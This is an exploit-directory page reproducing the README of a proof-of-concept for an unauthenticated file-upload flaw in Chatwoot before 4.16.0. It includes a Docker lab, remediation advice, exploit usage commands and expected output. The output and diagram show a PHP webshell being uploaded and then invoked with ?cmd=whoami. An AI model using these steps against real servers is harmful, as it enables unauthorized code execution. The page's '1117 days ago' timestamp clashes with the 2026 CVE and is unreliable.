Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63765 — Python PoC for CVE-2026-63765: exploits unauthenticated ActiveStorage direct upload in Chatwoot < 4.16.0 to write arbitrary files and attempt RCE, with a Docker lab. | Kitploit
Tools/GitHubGitHub/n3chik/cve-2026-63765
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityAuthenticationLabs & Practice
GitHubn3chik/cve-2026-63765

CVE-2026-63765

Python PoC for CVE-2026-63765: exploits unauthenticated ActiveStorage direct upload in Chatwoot < 4.16.0 to write arbitrary files and attempt RCE, with a Docker lab.

View Repository
1117 days agoNot yet reviewed
Share

CVE-2026-63765 — Chatwoot < 4.16.0 Unauthenticated Arbitrary File Write (PoC)

Proof of Concept for an authentication bypass vulnerability in Chatwoot's ActiveStorage Direct Upload endpoint, leading to unauthenticated arbitrary blob creation and arbitrary file write — potentially enabling Remote Code Execution (RCE).


⚠️ Disclaimer

This repository is intended strictly for educational and authorized security research purposes.

The exploit code in this repository demonstrates a real vulnerability. You must not use it against any system you do not own or have explicit written permission to test. Unauthorized use of this code may violate computer fraud laws in your jurisdiction, including but not limited to the Computer Fraud and Abuse Act (CFAA), the EU Directive on Attacks Against Information Systems, and equivalent legislation worldwide.

The author(s) of this repository assume no liability and are not responsible for any misuse or damage caused by this material.

Use responsibly. Hack only what you own.


Overview

FieldDetails
CVE IDCVE-2026-63765
VendorChatwoot
AffectedChatwoot < 4.16.0
Fixed inChatwoot 4.16.0
CVSS Score9.8 Critical
CWECWE-306 — Missing Authentication for Critical Function
Attack VectorNetwork (unauthenticated, no credentials required)
ImpactArbitrary file write on the server's storage backend; RCE if storage is served by a PHP-capable web server

Vulnerability Description

The vulnerable endpoint is:

POST /api/v1/accounts/:account_id/conversations/:conversation_id/direct_uploads

The controller responsible for this route inherits directly from Rails' ActiveStorage::DirectUploadsController. The authenticate_user! guard is absent from its ancestor chain, and the ensure_current_account before-action is short-circuited when current_user is nil.

This means any unauthenticated request can:

  1. Create an ActiveStorage::Blob record by posting blob metadata (filename, content type, byte size, MD5 checksum).
  2. Receive a signed one-time PUT URL from the server.
  3. Upload arbitrary content — including PHP webshells — directly to the server's storage backend.
  4. In configurations where the storage/ path is served by a PHP-capable web server, the uploaded file can be executed, resulting in Remote Code Execution.

The conversation display_id is a small sequential integer that can be reliably brute-forced within seconds.


Repository Structure

.
├── poc.py                  # PoC exploit script
├── docker-compose.yaml     # Vulnerable Chatwoot environment
├── .env                    # Environment variables for Chatwoot
└── README.md

Lab Setup (Docker)

This repository includes a ready-to-use Docker Compose environment running a vulnerable version of Chatwoot for local testing.

Prerequisites

  • Docker and Docker Compose installed
  • Python 3.7+ with requests library (pip install requests)

Step 1 — Start the vulnerable environment

Prepare the database (run this only once on first setup):

docker compose run --rm rails bundle exec rails db:chatwoot_prepare

Then start all services in the background:

docker compose up -d

Chatwoot will be available at: http://localhost:3000

Allow 30–60 seconds for all services to fully initialize.

Step 2 — Configure Chatwoot for a successful test

The exploit requires at least one existing conversation in the database. To create one, complete the following steps in the Chatwoot UI at http://localhost:3000:

  1. Create a user account — register as a new agent/admin on the instance.
  2. Create an Inbox — go to Settings → Inboxes → Add Inbox and add a Website inbox.
  3. Create at least one conversation — navigate to the inbox and initiate a test conversation. This seeds the database with the account_id and conversation display_id values that the exploit will target.

Why is this needed? The exploit brute-forces account_id and conversation display_id. Without an existing conversation, the server returns no valid 200 responses and the exploit correctly reports the target as not vulnerable.


Running the PoC

Basic usage (default PHP webshell payload)

python poc.py http://localhost:3000

Custom payload

python poc.py http://localhost:3000 my_payload.php

Expected output on a vulnerable target

[*] Target : http://localhost:3000
[*] Payload: shell.php | 52 bytes | md5b64=...

[*] Step 1: unauthenticated POST to .../direct_uploads (bypassing authentication)...
[+] VULNERABLE: A blob was created WITHOUT authorization (account_id=1, conversation display_id=1)
[+] signed_id: eyJfcmFpbHMiO...

[*] Step 2: Upload the file using the signed URL...
[+] Arbitrary file write executed (HTTP 204) — file shell.php (52 bytes) is written to the server's storage backend.

[*] Step 3: Verification + Attempt to Access the File (RCE Phase)...
[+] VERIFIED: the content is available via http://localhost:3000/rails/active_storage/blobs/redirect/.../shell.php

[=] CONCLUSION: Unauthenticated arbitrary file write confirmed (CVE-2026-63765).
[=] File paths: http://localhost:3000/rails/active_storage/blobs/redirect/.../shell.php
[=] RCE: if the PHP payload and storage are handled by a web server with
[=] Executing scripts—open the path you found by adding ?cmd=whoami

How the Exploit Works

Attacker                          Chatwoot Server
   │                                    │
   │  POST /api/v1/accounts/1/          │
   │  conversations/1/direct_uploads    │
   │  { blob metadata }                 │
   │ ─────────────────────────────────► │  ← No authentication check!
   │                                    │
   │  ◄────────────────────────────────  { signed_id, PUT URL, headers }
   │                                    │
   │  PUT <signed_url>                  │
   │  [PHP webshell bytes]              │
   │ ─────────────────────────────────► │  ← File written to storage
   │                                    │
   │  GET /rails/active_storage/blobs/  │
   │  redirect/<signed_id>/shell.php    │
   │ ─────────────────────────────────► │
   │  ◄────────────────────────────────  200 OK (file confirmed on server)
   │                                    │
   │  GET /storage/shell.php?cmd=whoami │
   │ ─────────────────────────────────► │  ← RCE (if PHP-enabled web server)
   │  ◄────────────────────────────────  www-data

Stopping the Lab

docker compose down

To also remove all volumes (wipe the database):

docker compose down -v

Remediation

Update Chatwoot to version 4.16.0 or later. The fix adds proper authentication guards to the direct_uploads endpoint so that unauthenticated requests receive a 401 Unauthorized response.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    441
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools →